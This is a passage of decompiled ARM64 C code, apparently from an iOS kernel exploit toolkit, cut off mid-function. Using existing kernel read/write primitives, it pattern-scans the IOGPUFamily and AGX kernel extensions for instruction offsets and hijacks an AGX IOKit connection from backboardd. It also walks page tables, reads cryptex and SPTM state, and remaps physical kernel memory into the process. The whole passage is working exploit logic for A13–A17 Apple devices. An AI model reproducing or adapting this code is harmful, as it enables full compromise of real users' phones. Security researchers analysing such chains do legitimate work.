  __int64 v97; // x25
  void *v98; // x0
  void *v99; // x25
  int v100; // w0
  unsigned __int64 v101; // x21
  unsigned __int64 v102; // x28
  unsigned __int64 v103; // x22
  unsigned __int64 v104; // x0
  size_t v105; // x23
  unsigned __int64 v106; // x8
  unsigned __int64 v107; // x21
  char *v108; // x0
  char *v109; // x0
  __int64 v110; // x0
  char *v111; // x0
  char *v112; // x0
  char *v113; // x23
  __int64 v114; // x24
  __int64 v115; // x9
  int v116; // w11
  __int64 v117; // x9
  unsigned __int64 v118; // x21
  uint64_t *v119; // x23
  char *v120; // x0
  __int64 v121; // x8
  __int64 v122; // x10
  char *v123; // x25
  char *v124; // x0
  unsigned int v125; // t1
  unsigned __int64 v126; // x11
  unsigned __int64 v127; // x12
  unsigned __int64 v128; // x9
  unsigned __int64 v129; // x22
  char *v130; // x0
  uint64_t *v131; // x10
  char *v132; // x9
  __int64 v133; // x8
  char *v134; // x10
  int v135; // t1
  unsigned __int64 v136; // x0
  char *v137; // x0
  char *v138; // x8
  char *v139; // x0
  unsigned __int64 v140; // x10
  __int64 v141; // x8
  __int64 v142; // x21
  __int64 v143; // x23
  __int64 v144; // x9
  char *v145; // x8
  __int64 v146; // x10
  unsigned int v147; // w12
  char *v148; // x0
  unsigned int v149; // t1
  unsigned __int64 v150; // x11
  unsigned __int64 v151; // x10
  char *v152; // x0
  __int64 v153; // x21
  char *v154; // x0
  char *v155; // x0
  char *v156; // x0
  char *v157; // x0
  char *v158; // x22
  unsigned __int64 *v159; // x25
  unsigned __int64 v160; // x9
  unsigned __int64 v161; // x9
  unsigned __int64 v162; // x1
  char *v163; // x8
  char *v164; // x0
  __int64 v165; // x8
  __int64 v166; // x21
  __int64 v167; // x22
  char *v168; // x0
  char *v169; // x0
  unsigned int v170; // t1
  unsigned __int64 v171; // x9
  unsigned __int64 v172; // x10
  unsigned __int64 v173; // x8
  __int64 v174; // x8
  int v175; // w0
  unsigned __int64 v176; // x8
  int32x2_t v177; // d0
  int64x2_t v178; // off
  uint64_t *v179; // x28
  __int64 v180; // x0
  __int64 v181; // x21
  __int64 v182; // x25
  int v183; // w0
  vm_address_t v184; // x27
  __int64 v185; // x0
  __int64 v186; // x22
  int v187; // w0
  vm_address_t v188; // x23
  int v189; // w0
  int v190; // w0
  int v191; // w0
  int v192; // w0
  int v193; // w0
  unsigned __int64 v194; // x8
  __int64 v195; // x0
  __int64 v196; // x26
  int v197; // w0
  int v198; // w0
  uint64_t v199; // x9
  __int64 v200; // x8
  vm_address_t v201; // x9
  __int64 v202; // x27
  __int64 v203; // x26
  unsigned __int64 v204; // x21
  uint64_t *v205; // x28
  __int64 v206; // x1
  __int64 v207; // x25
  unsigned __int64 v208; // x0
  unsigned __int64 v209; // x0
  unsigned __int64 v210; // x22
  int v211; // w0
  __int64 v212; // x23
  int v213; // w0
  __int64 i; // x23
  __int64 v215; // x28
  __int64 v216; // x0
  __int64 v217; // x22
  __int64 v218; // x23
  int v219; // w0
  bool v220; // zf
  __int64 v221; // x25
  __int64 v222; // x9
  __int64 v223; // x9
  __int64 v224; // x9
  unsigned __int64 v225; // x25
  unsigned __int64 v226; // x10
  vm_address_t v227; // x8
  int64x2_t v228; // q0
  __int64 v229; // x21
  __int64 *v230; // x22
  __int64 v231; // t1
  int v232; // w0
  __int64 v233; // x22
  uint64_t *v234; // x27
  __int64 v235; // x28
  __int64 v236; // x21
  __int64 v237; // x26
  int v238; // w25
  vm_address_t v239; // x11
  char *v240; // x12
  char *v241; // x23
  unsigned __int64 v242; // x8
  unsigned __int64 v243; // x9
  __int64 v244; // x10
  __int64 v245; // x13
  char *v246; // x12
  __int64 v247; // x12
  __int64 v248; // x12
  uint64_t *v249; // x11
  __int64 v250; // x11
  __int64 v251; // x25
  __int64 v252; // x9
  char *v253; // x10
  char *v254; // x23
  unsigned __int64 v255; // x21
  __int64 v256; // x8
  char *v257; // x10
  __int64 v258; // x10
  __int64 v259; // x10
  __int64 v260; // x10
  uint64_t *v261; // x9
  __int64 v262; // x9
  __int64 v263; // x9
  __int64 v264; // x9
  __int64 v265; // x9
  __int64 v266; // x26
  uint64_t *v267; // x9
  unsigned __int64 v268; // x21
  uint64_t *v269; // x12
  __int64 v270; // x10
  __int64 v271; // x10
  __int64 v272; // x10
  __int64 v273; // x10
  __int64 v274; // x10
  __int64 v275; // x10
  __int64 v276; // x10
  __int64 v277; // x10
  __int64 v278; // x10
  unsigned __int64 v279; // x21
  char v280; // w21
  __int64 v281; // x22
  __int64 v282; // x0
  __int64 v283; // x21
  int v284; // [xsp+20h] [xbp-6F0h]
  vm_address_t v285; // [xsp+28h] [xbp-6E8h]
  unsigned __int64 v286; // [xsp+30h] [xbp-6E0h]
  vm_address_t v287; // [xsp+40h] [xbp-6D0h]
  vm_address_t v288; // [xsp+48h] [xbp-6C8h]
  __int64 v289; // [xsp+48h] [xbp-6C8h]
  unsigned __int64 v290; // [xsp+50h] [xbp-6C0h]
  __int64 v291; // [xsp+50h] [xbp-6C0h]
  unsigned __int64 v292; // [xsp+50h] [xbp-6C0h]
  int v293[2]; // [xsp+50h] [xbp-6C0h]
  uint64_t *v294; // [xsp+50h] [xbp-6C0h]
  int v295[2]; // [xsp+58h] [xbp-6B8h]
  __int64 v296; // [xsp+58h] [xbp-6B8h]
  int v297[2]; // [xsp+58h] [xbp-6B8h]
  unsigned __int64 v298; // [xsp+58h] [xbp-6B8h]
  int v299[2]; // [xsp+58h] [xbp-6B8h]
  __int64 v300; // [xsp+60h] [xbp-6B0h]
  __int64 v301; // [xsp+60h] [xbp-6B0h]
  __int64 *v302; // [xsp+60h] [xbp-6B0h]
  __int64 v303; // [xsp+60h] [xbp-6B0h]
  unsigned __int64 v304; // [xsp+70h] [xbp-6A0h] BYREF
  unsigned __int64 v305; // [xsp+78h] [xbp-698h] BYREF
  unsigned __int64 v306; // [xsp+80h] [xbp-690h] BYREF
  unsigned __int64 v307; // [xsp+88h] [xbp-688h] BYREF
  unsigned __int64 v308; // [xsp+90h] [xbp-680h] BYREF
  unsigned __int64 v309; // [xsp+98h] [xbp-678h] BYREF
  unsigned __int64 v310; // [xsp+A0h] [xbp-670h] BYREF
  unsigned __int64 v311; // [xsp+A8h] [xbp-668h] BYREF
  size_t v312; // [xsp+B0h] [xbp-660h] BYREF
  size_t v313; // [xsp+B8h] [xbp-658h] BYREF
  vm_address_t target_address[3]; // [xsp+C0h] [xbp-650h] BYREF
  size_t outputStructCnt; // [xsp+D8h] [xbp-638h] BYREF
  uint8_t v316[24]; // [xsp+E0h] [xbp-630h] BYREF
  __int64 v317; // [xsp+F8h] [xbp-618h]
  uint8_t v318[12]; // [xsp+100h] [xbp-610h] BYREF
  unsigned int v319; // [xsp+10Ch] [xbp-604h]
  uint64_t size[2]; // [xsp+110h] [xbp-600h] BYREF
  uint64_t input[2]; // [xsp+120h] [xbp-5F0h] BYREF
  __int64 outputStruct; // [xsp+130h] [xbp-5E0h] BYREF
  unsigned int v323; // [xsp+138h] [xbp-5D8h]
  vm_address_t address[2]; // [xsp+140h] [xbp-5D0h] BYREF
  uint8_t inputStruct[24]; // [xsp+150h] [xbp-5C0h] BYREF
  __int128 v326; // [xsp+168h] [xbp-5A8h]
  __int128 v327; // [xsp+178h] [xbp-598h]
  __int128 v328; // [xsp+188h] [xbp-588h]
  __int128 v329; // [xsp+198h] [xbp-578h]
  __int128 v330; // [xsp+1A8h] [xbp-568h]
  __int128 v331; // [xsp+1B8h] [xbp-558h]
  __int128 v332; // [xsp+1C8h] [xbp-548h]
  __int128 v333; // [xsp+1D8h] [xbp-538h]
  __int128 v334; // [xsp+1E8h] [xbp-528h]
  __int128 v335; // [xsp+1F8h] [xbp-518h]
  __int128 v336; // [xsp+208h] [xbp-508h]
  __int128 v337; // [xsp+218h] [xbp-4F8h]
  __int128 v338; // [xsp+228h] [xbp-4E8h]
  uint8_t v339[32]; // [xsp+238h] [xbp-4D8h]
  __int64 v340; // [xsp+258h] [xbp-4B8h]
  __int64 v341; // [xsp+260h] [xbp-4B0h]
  vm_address_t src_address[36]; // [xsp+560h] [xbp-1B0h] BYREF
  __int128 v343; // [xsp+680h] [xbp-90h] BYREF
  uint64_t v344[2]; // [xsp+690h] [xbp-80h]
  __int64 v345; // [xsp+6A0h] [xbp-70h]

  v1 = 708616;
  if ( *(uint64_t *)(a1 + 344) < XNU_VERSION_PACKED(8796, 142, 1, 700, 13) || !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A13_A14_A15_A16_A17_MASK) )
    return v1;
  if ( *(uint64_t *)(a1 + 7512) )
    return 0;
  v3 = (unsigned int *)calloc(1u, 0x520u);
  if ( !v3 )
    return 708617;
  v4 = v3;
  *(uint64_t *)(a1 + 7512) = v3;
  v5 = *(uint64_t *)(a1 + 280);
  if ( v5 )
  {
    if ( *(uint64_t *)(a1 + 288) )
    {
      v6 = *(uint64_t *)(v5 + 352);
      if ( v6 )
      {
        if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v6, 552, v3 + 190) )
          return 0;
      }
    }
  }
  v7 = 163867;
  target_address[0] = 0;
  if ( !(unsigned int)get_kext_base_addr(a1, "com.apple.iokit.IOGPUFamily", address)
    || !(unsigned int)find_macho_entry_by_name_wrap(a1, "com.apple.AGXG", 0xEu, target_address) )
  {
    goto LABEL_26;
  }
  v8 = calloc(1u, 0x128u);
  if ( !v8 )
  {
    v7 = 708617;
    goto LABEL_26;
  }
  v9 = (__int64)v8;
  v10 = (struct_a1 *)calloc(1u, 0x128u);
  if ( v10 )
  {
    krw_ctx_zero_fields((struct_a1 *)v9, a1);
    krw_ctx_zero_fields(v10, a1);
    v11 = *(__int128 *)(a1 + 320);
    v12 = *(__int128 *)(a1 + 336);
    *(__int128 *)(v9 + 112) = v11;
    *(__int128 *)(v9 + 128) = v12;
    v13 = *(uint64_t *)(a1 + 352);
    *(uint64_t *)(v9 + 144) = v13;
    v14 = *(uint32_t *)(a1 + 376);
    *(uint32_t *)(v9 + 152) = v14;
    v15 = *(uint32_t *)(a1 + 384);
    *(uint32_t *)(v9 + 56) = v15;
    v10->xnuMajorVersion = v11;
    v10->oword80 = v12;
    *(uint64_t *)&v10->oword90 = v13;
    DWORD2(v10->oword90) = v14;
    DWORD2(v10->oword30) = v15;
    v1 = 163863;
    if ( iosurface_physmap_setup_bool(v9, *(uint32_t *)(a1 + 6424), address[0], 0)
      && iosurface_physmap_setup_bool((__int64)v10, *(uint32_t *)(a1 + 6424), target_address[0], 0) )
    {
      v343 = xmmword_42FA0;
      *(__int128 *)v316 = xmmword_42FB0;
      macho_find_text_section(v9, inputStruct);
      v16 = find_pattern_macho_binary((__int64 *)inputStruct, &v343, v316, 4u);
      if ( v16 )
      {
        if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, (__int64)(v16 + 8), 4, src_address) )
        {
          v4[42] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30);
          LODWORD(src_address[0]) = -218763232;
          LODWORD(v343) = -32;
          macho_find_text_section(v9, inputStruct);
          v17 = find_pattern_macho_binary((__int64 *)inputStruct, src_address, &v343, 1u);
          if ( v17 )
          {
            v18 = v17;
            v19 = 0;
            while ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, (__int64)&v18[v19], 4, v316) )
            {
              if ( (*(uint32_t *)v316 & 0xFFC0001F) == 0xF900001F )
              {
                v4[43] = ((*(uint32_t *)v316 >> 10) & 0xFFF) << (*(uint32_t *)v316 >> 30);
                v343 = xmmword_42FC0;
                LODWORD(v344[0]) = 872415232;
                *(__int128 *)v316 = xmmword_42FD0;
                *(uint32_t *)&v316[16] = -16777216;
                macho_find_text_section((__int64)v10, inputStruct);
                v22 = find_pattern_macho_binary((__int64 *)inputStruct, &v343, v316, 5u);
                if ( v22 )
                {
                  v23 = v22;
                  if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, (__int64)v22, 4, src_address) )
                  {
                    v4[46] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30);
                    if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, (__int64)(v23 + 8), 4, src_address) )
                    {
                      v4[44] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30);
                      if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, (__int64)(v23 + 12), 4, src_address) )
                      {
                        v4[45] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30);
                        *(__int128 *)inputStruct = xmmword_42FE0;
                        *(uint64_t *)&inputStruct[16] = 0x8B00000052800008LL;
                        v343 = xmmword_42FF0;
                        v344[0] = 0xFFE0FC00FFE0001FLL;
                        macho_find_text_section((__int64)v10, src_address);
                        v24 = find_pattern_macho_binary((__int64 *)src_address, inputStruct, &v343, 6u);
                        if ( v24 )
                        {
                          v25 = v24;
                          if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, (__int64)v24, 4, v316) )
                          {
                            v26 = 0;
                            v27 = 0;
                            v4[49] = (unsigned __int16)(*(uint32_t *)v316 >> 5);
                            while ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, (__int64)&v25[v26 + 4], 4, v316) )
                            {
                              if ( (*(uint32_t *)v316 & 0xFFE0001F) == 0x52800008 )
                              {
                                if ( v27 == 1 )
                                {
                                  if ( (unsigned int)krw_read_thunk(
                                                       (struct_krwCtx *)a1,
                                                       (__int64)&v25[v26 + 4],
                                                       4,
                                                       v316) )
                                  {
                                    v91 = 0;
                                    v4[47] = (unsigned __int16)(*(uint32_t *)v316 >> 5);
                                    while ( (unsigned int)krw_read_thunk(
                                                            (struct_krwCtx *)a1,
                                                            (__int64)&v25[v26 + 4 + v91],
                                                            4,
                                                            v316) )
                                    {
                                      if ( *(uint32_t *)v316 == -219794127 )
                                      {
                                        if ( (unsigned int)krw_read_thunk(
                                                             (struct_krwCtx *)a1,
                                                             (__int64)&v25[v26 + 12 + v91],
                                                             4,
                                                             v316) )
                                        {
                                          v4[48] = ((*(uint32_t *)v316 >> 10) & 0xFFF) << (*(uint32_t *)v316 >> 30);
                                          *(__int128 *)inputStruct = xmmword_43000;
                                          *(uint64_t *)&inputStruct[16] = 0;
                                          LODWORD(v326) = 335544320;
                                          *(__int128 *)src_address = xmmword_43010;
                                          src_address[2] = 0;
                                          LODWORD(src_address[3]) = -67108864;
                                          macho_find_text_section(v9, &v343);
                                          v95 = find_pattern_macho_binary((__int64 *)&v343, inputStruct, src_address, 7u);
                                          if ( v95 )
                                          {
                                            v96 = v95;
                                            v97 = 0;
                                            while ( (unsigned int)krw_read_thunk(
                                                                    (struct_krwCtx *)a1,
                                                                    (__int64)&v96[v97],
                                                                    4,
                                                                    v316) )
                                            {
                                              if ( *(uint32_t *)v316 >> 26 == 37 )
                                              {
                                                if ( (unsigned int)krw_read_thunk(
                                                                     (struct_krwCtx *)a1,
                                                                     (__int64)&v96[v97 - 8],
                                                                     4,
                                                                     v316) )
                                                {
                                                  v4[50] = ((*(uint32_t *)v316 >> 10) & 0xFFF) << (*(uint32_t *)v316 >> 30);
                                                  v343 = xmmword_43020;
                                                  LODWORD(v344[0]) = -117440512;
                                                  *(__int128 *)v316 = xmmword_43030;
                                                  *(uint32_t *)&v316[16] = -4194273;
                                                  macho_find_text_section(v9, inputStruct);
                                                  v108 = find_pattern_macho_binary((__int64 *)inputStruct, &v343, v316, 5u);
                                                  if ( v108 )
                                                  {
                                                    if ( (unsigned int)krw_read_thunk(
                                                                         (struct_krwCtx *)a1,
                                                                         (__int64)v108,
                                                                         4,
                                                                         src_address) )
                                                    {
                                                      v4[51] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30);
                                                      *(uint64_t *)&v343 = 0x2900000011000000LL;
                                                      *(uint64_t *)v316 = 0x3F0000003FLL;
                                                      macho_find_text_section(v9, inputStruct);
                                                      v109 = find_pattern_macho_binary((__int64 *)inputStruct, &v343, v316, 2u);
                                                      if ( v109 )
                                                      {
                                                        if ( (unsigned int)krw_read_thunk(
                                                                             (struct_krwCtx *)a1,
                                                                             (__int64)(v109 + 12),
                                                                             4,
                                                                             src_address) )
                                                        {
                                                          v4[52] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30);
                                                          v110 = *(uint64_t *)(a1 + 6648);
                                                          *(uint64_t *)&v343 = 0x8B020108F9400008LL;
                                                          *(uint64_t *)v316 = -4193281;
                                                          macho_find_text_section(v110, inputStruct);
                                                          v111 = find_pattern_macho_binary((__int64 *)inputStruct, &v343, v316, 2u);
                                                          if ( v111 )
                                                          {
                                                            if ( (unsigned int)krw_read_thunk(
                                                                                 (struct_krwCtx *)a1,
                                                                                 (__int64)v111,
                                                                                 4,
                                                                                 src_address) )
                                                            {
                                                              v4[53] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30);
                                                              v343 = xmmword_43040;
                                                              *(uint64_t *)v316 = -1;
                                                              *(uint64_t *)&v316[8] = -1;
                                                              macho_find_text_section((__int64)v10, inputStruct);
                                                              v112 = find_pattern_macho_binary((__int64 *)inputStruct, &v343, v316, 4u);
                                                              if ( v112 )
                                                              {
                                                                v113 = v112;
                                                                v114 = 0;
                                                                while ( (unsigned int)krw_read_thunk(
                                                                                        (struct_krwCtx *)a1,
                                                                                        (__int64)&v113[v114],
                                                                                        4,
                                                                                        src_address) )
                                                                {
                                                                  if ( (src_address[0] & 0x1F000000) == 0x10000000 )
                                                                  {
                                                                    v136 = find_kernel_func(
                                                                             (__int64 *)v10,
                                                                             (__int64 *)&v113[v114]);
                                                                    v1 = 0;
                                                                    *((uint64_t *)v4 + 27) = v136;
                                                                    v21 = 1;
                                                                    goto LABEL_44;
                                                                  }
                                                                  v114 -= 4;
                                                                  if ( (uint32_t)v114 == -116 )
                                                                    goto LABEL_43;
                                                                }
                                                              }
                                                            }
                                                          }
                                                        }
                                                      }
                                                    }
                                                  }
                                                }
                                                goto LABEL_43;
                                              }
                                              v97 += 4;
                                              if ( (uint32_t)v97 == 276 )
                                                goto LABEL_43;
                                            }
                                          }
                                        }
                                        goto LABEL_43;
                                      }
                                      v91 += 4;
                                      if ( (uint32_t)v91 == 196 )
                                        goto LABEL_43;
                                    }
                                  }
                                  goto LABEL_43;
                                }
                                v27 = 1;
                              }
                              v26 += 4;
                              if ( (uint32_t)v26 == 196 )
                                goto LABEL_43;
                            }
                          }
                        }
                      }
                    }
                  }
                }
                break;
              }
              v19 += 4;
              if ( (uint32_t)v19 == 76 )
                break;
            }
          }
        }
      }
LABEL_43:
      v21 = 0;
      v1 = 163867;
    }
    else
    {
      v21 = 0;
    }
  }
  else
  {
    v21 = 0;
    v1 = 708617;
  }
LABEL_44:
  free_kernel_image_resources(v9);
  free((void *)v9);
  if ( v10 )
  {
    free_kernel_image_resources((__int64)v10);
    free(v10);
  }
  if ( !v21 )
    goto LABEL_27;
  v28 = *(uint64_t *)(a1 + 7512);
  outputStructCnt = 16;
  v312 = 16;
  v313 = 16;
  v29 = lookup_or_resolve_kaddr(a1);
  if ( v29 )
  {
    v30 = krw_task_for_name(a1, v29, "backboardd");
    if ( v30 )
    {
      v31 = *(uint64_t *)(a1 + 7512);
      v32 = kreadptr((struct_krwCtx *)a1, v30);
      if ( v32 )
      {
        v33 = read_pte_entry_chain((struct_krwCtx *)a1, v32, v316, address);
        if ( v33 )
        {
          if ( *(uint32_t *)v316 )
          {
            v34 = v33;
            v35 = 0;
            while ( kread_physmap_decorated(
                      (struct_krwCtx *)a1,
                      v34 + (unsigned int)(LODWORD(address[0]) * v35),
                      (unsigned __int64 *)inputStruct) )
            {
              if ( *(uint64_t *)inputStruct )
              {
                if ( !kread_u32(a1, *(unsigned __int64 *)inputStruct, target_address) )
                  break;
                if ( (target_address[0] & 0x80000000) != 0 )
                {
                  v36 = target_address[0] & 0x3FF;
                  if ( (target_address[0] & 0x3FF) != 0 )
                  {
                    LODWORD(target_address[0]) = target_address[0] & 0x3FF;
                    if ( v36 == 29 )
                    {
                      v37 = maybe_ipc_port_get_kobject((struct_krwCtx *)a1, *(unsigned __int64 *)inputStruct);
                      if ( !v37 )
                        break;
                      v38 = v37;
                      if ( !kread_physmap_decorated((struct_krwCtx *)a1, v37, src_address) )
                        break;
                      if ( src_address[0] == *(uint64_t *)(v31 + 216) + 16LL )
                      {
                        if ( (unsigned int)plist_elem_is_string_6(
                                             (struct_krwCtx *)a1,
                                             *(unsigned __int64 *)inputStruct,
                                             (mach_port_name_t *)&v343) )
                          break;
                        v83 = v343;
                        *(uint64_t *)(v31 + 224) = v38;
                        v4[2] = v83;
                        if ( v83 )
                        {
                          bzero(inputStruct, 0x408u);
                          if ( !IOConnectCallStructMethod(v83, 7u, inputStruct, 0x408u, address, &outputStructCnt) )
                          {
                            v4[3] = address[0];
                            *((uint8_t *)v4 + 16) = 1;
                            *(__int128 *)target_address = xmmword_43050;
                            if ( !IOConnectCallMethod(v4[2], 0xFu, target_address, 2u, 0, 0, 0, 0, &outputStruct, &v313) )
                            {
                              v84 = v323;
                              v4[5] = v323;
                              *((uint8_t *)v4 + 24) = 1;
                              v85 = v4[2];
                              input[0] = v4[3];
                              input[1] = v84;
                              if ( !IOConnectCallScalarMethod(v85, 0x19u, input, 2u, 0, 0) )
                              {
                                size[0] = *(unsigned int *)(a1 + 384);
                                size[1] = 0;
                                if ( !IOConnectCallMethod(v4[2], 0xDu, size, 2u, 0, 0, 0, 0, v318, &v312) )
                                {
                                  v4[7] = v319;
                                  *((uint8_t *)v4 + 36) = 1;
                                  size[0] = *(unsigned int *)(a1 + 384);
                                  if ( !IOConnectCallMethod(v4[2], 0xDu, size, 2u, 0, 0, 0, 0, v318, &v312) )
                                  {
                                    v4[8] = v319;
                                    *((uint8_t *)v4 + 37) = 1;
                                    if ( kread_physmap_decorated(
                                           (struct_krwCtx *)a1,
                                           *(uint64_t *)(v28 + 224) + *(unsigned int *)(v28 + 168),
                                           (unsigned __int64 *)(v28 + 232))
                                      && kread_physmap_decorated(
                                           (struct_krwCtx *)a1,
                                           *(uint64_t *)(v28 + 232) + *(unsigned int *)(v28 + 176),
                                           (unsigned __int64 *)(v28 + 240)) )
                                    {
                                      v86 = v4[2];
                                      *(uint64_t *)v316 = v4[3];
                                      v317 = 56;
                                      *(__int128 *)&v316[8] = xmmword_43750;
                                      memset(&src_address[1], 0, 48);
                                      LODWORD(src_address[0]) = v4[7];
                                      HIDWORD(src_address[0]) = src_address[0];
                                      if ( !IOConnectCallMethod(
                                              v86,
                                              0x1Au,
                                              (const uint64_t *)v316,
                                              4u,
                                              src_address,
                                              0x38u,
                                              0,
                                              0,
                                              0,
                                              0) )
                                      {
                                        HIDWORD(src_address[0]) = v4[8];
                                        if ( !IOConnectCallMethod(
                                                v4[2],
                                                0x1Au,
                                                (const uint64_t *)v316,
                                                4u,
                                                src_address,
                                                0x38u,
                                                0,
                                                0,
                                                0,
                                                0)
                                          && kread_physmap_decorated(
                                               (struct_krwCtx *)a1,
                                               *(uint64_t *)(v28 + 232) + *(unsigned int *)(v28 + 200),
                                               &v311)
                                          && kread_physmap_decorated(
                                               (struct_krwCtx *)a1,
                                               v311 + *(unsigned int *)(v28 + 204),
                                               &v310)
                                          && kread_physmap_decorated((struct_krwCtx *)a1, v310 + 8 * v4[7], &v309)
                                          && kread_physmap_decorated((struct_krwCtx *)a1, v310 + 8 * v4[8], &v308)
                                          && kread_physmap_decorated(
                                               (struct_krwCtx *)a1,
                                               v309 + *(unsigned int *)(v28 + 208),
                                               &v307)
                                          && kread_physmap_decorated(
                                               (struct_krwCtx *)a1,
                                               v308 + *(unsigned int *)(v28 + 208),
                                               &v306)
                                          && kread_physmap_decorated(
                                               (struct_krwCtx *)a1,
                                               v307 + *(unsigned int *)(v28 + 212),
                                               &v305)
                                          && kread_physmap_decorated(
                                               (struct_krwCtx *)a1,
                                               v306 + *(unsigned int *)(v28 + 212),
                                               &v304) )
                                        {
                                          v87 = pgtable_walk_wrapper(a1, v305 & ~*(uint64_t *)(a1 + 392), &v343);
                                          if ( v87 )
                                          {
                                            v88 = v345 & 0xFFFFFFFFC000LL;
                                            if ( (v345 & 0xFFFFFFFFC000LL) != 0 )
                                            {
                                              v89 = pgtable_walk_wrapper(a1, v304 & ~*(uint64_t *)(a1 + 392), &v343);
                                              if ( v89 )
                                              {
                                                v90 = v345 & 0xFFFFFFFFC000LL;
                                                if ( (v345 & 0xFFFFFFFFC000LL) != 0
                                                  && !(unsigned int)physmap_map_cached(
                                                                      (struct_krwCtx *)a1,
                                                                      v88,
                                                                      (__int64)(v4 + 10)) )
                                                {
                                                  *((uint64_t *)v4 + 19) = *((uint64_t *)v4 + 5);
                                                  if ( !(unsigned int)physmap_map_cached(
                                                                        (struct_krwCtx *)a1,
                                                                        v90,
                                                                        (__int64)(v4 + 24)) )
                                                  {
                                                    *((uint64_t *)v4 + 20) = *((uint64_t *)v4 + 12);
                                                    goto LABEL_67;
                                                  }
                                                }
                                              }
                                            }
                                          }
                                        }
                                      }
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                        goto LABEL_66;
                      }
                    }
                  }
                }
              }
              if ( (unsigned int)++v35 >= *(uint32_t *)v316 )
                break;
            }
          }
        }
      }
    }
  }
  v4[2] = 0;
LABEL_66:
  *(uint8_t *)v28 = 1;
LABEL_67:
  has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A17);
  if ( has_flag )
    v40 = 0x292050000LL;
  else
    v40 = 0x206050000LL;
  if ( has_flag )
    v41 = 0xFFFFFC0000000000LL;
  else
    v41 = 0xFFFFFF8000000000LL;
  v1 = physmap_map_cached((struct_krwCtx *)a1, v40, (__int64)inputStruct);
  if ( (uint32_t)v1 )
    goto LABEL_27;
  v42 = **(uint64_t **)inputStruct;
  v43 = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A16_A17_MASK);
  v44 = -2;
  if ( !v43 )
    v44 = 0xFFFFFFFFELL;
  v45 = v44 & v42;
  physmap_unmap_cached(a1, (__int64)inputStruct);
  *((uint64_t *)v4 + 33) = v45;
  v46 = read_cryptex_manifest((struct_krwCtx *)a1, v45);
  *((uint64_t *)v4 + 31) = v46;
  v47 = 163855;
  if ( !v46 )
    goto LABEL_370;
  v1 = physmap_map_cached((struct_krwCtx *)a1, *((uint64_t *)v4 + 33), (__int64)inputStruct);
  if ( (uint32_t)v1 )
    goto LABEL_27;
  v48 = *(__int64 **)inputStruct;
  do
    v49 = *v48++;
  while ( v49 != 0x7777777777777700LL );
  v50 = *(v48 - 5);
  *((uint64_t *)v4 + 38) = v50;
  v51 = *(v48 - 4) - v50;
  *((uint64_t *)v4 + 37) = v41;
  *((uint64_t *)v4 + 39) = v50 - v41;
  *((uint64_t *)v4 + 40) = v51;
  *((uint64_t *)v4 + 36) = *v48;
  *((uint64_t *)v4 + 35) = v48[7];
  physmap_unmap_cached(a1, (__int64)inputStruct);
  v52 = *((uint64_t *)v4 + 33);
  v53 = *((uint64_t *)v4 + 39);
  v54 = *(unsigned int *)(a1 + 384);
  LODWORD(outputStruct) = 3;
  LODWORD(input[0]) = 3;
  v55 = vm_allocate(mach_task_self_, address, v53, 1);
  if ( v55 )
  {
LABEL_81:
    v7 = v55 | 0x80000000;
    goto LABEL_26;
  }
  if ( v53 >= v54 )
  {
    v56 = 0;
    if ( v53 / v54 <= 1 )
      v57 = 1;
    else
      v57 = v53 / v54;
    while ( 1 )
    {
      v58 = physmap_map_cached((struct_krwCtx *)a1, v52 + v56 * *(unsigned int *)(a1 + 384), (__int64)src_address);
      if ( (uint32_t)v58 )
        break;
      v59 = *(unsigned int *)(a1 + 384);
      target_address[0] = address[0] + v56 * v59;
      v55 = vm_remap(
              mach_task_self_,
              target_address,
              v59,
              0,
              0x4000,
              mach_task_self_,
              src_address[0],
              0,
              (vm_prot_t *)&outputStruct,
              (vm_prot_t *)input,
              1u);
      if ( v55 )
        goto LABEL_81;
      if ( ++v56 == v57 )
        goto LABEL_89;
    }
    v7 = v58;
    goto LABEL_26;
  }
LABEL_89:
  v60 = 0;
  v61 = 0;
  *((uint64_t *)v4 + 41) = address[0];
  *((uint64_t *)v4 + 42) = v53;
  v62 = *(uint64_t *)(a1 + 7512);
  v63 = *(uint64_t *)(v62 + 296);
  v64 = *((uint64_t *)v4 + 34);
  v65 = *(uint64_t *)(v62 + 328);
  v66 = (unsigned __int8 *)(*((uint64_t *)v4 + 36) - v63 + v65);
  v67 = (unsigned __int8 *)(*((uint64_t *)v4 + 35) - v63 + v65);
  do
  {
    v68 = *v66++;
    v64 |= (unsigned __int64)v68 << v60;
    *((uint64_t *)v4 + 34) = v64;
    v69 = *v67++;
    v61 |= (unsigned __int64)v69 << v60;
    v60 += 8;
  }
  while ( v60 != 64 );
  v70 = read_cryptex_manifest((struct_krwCtx *)a1, v64);
  *((uint64_t *)v4 + 32) = v70;
  if ( !v70 )
    goto LABEL_26;
  v71 = read_cryptex_manifest((struct_krwCtx *)a1, v61);
  *((uint64_t *)v4 + 74) = v71;
  if ( !v71 )
    goto LABEL_26;
  v343 = xmmword_43060;
  *(__int128 *)v316 = xmmword_43070;
  v72 = scan_physmap_state_entries(a1, &v343, v316, 4u);
  if ( !v72
    || ((v74 = *((uint32_t *)v72 + 2),
         v75 = *((unsigned int *)v72 + 3),
         v73 = v72 + 8,
         v76 = (v75 >> 10) & 0xFFF,
         (v75 & 0x40000000) == 0)
      ? (v77 = 2)
      : (v77 = 3),
        (unsigned int)lookup_sptm_state_entry(
                        a1,
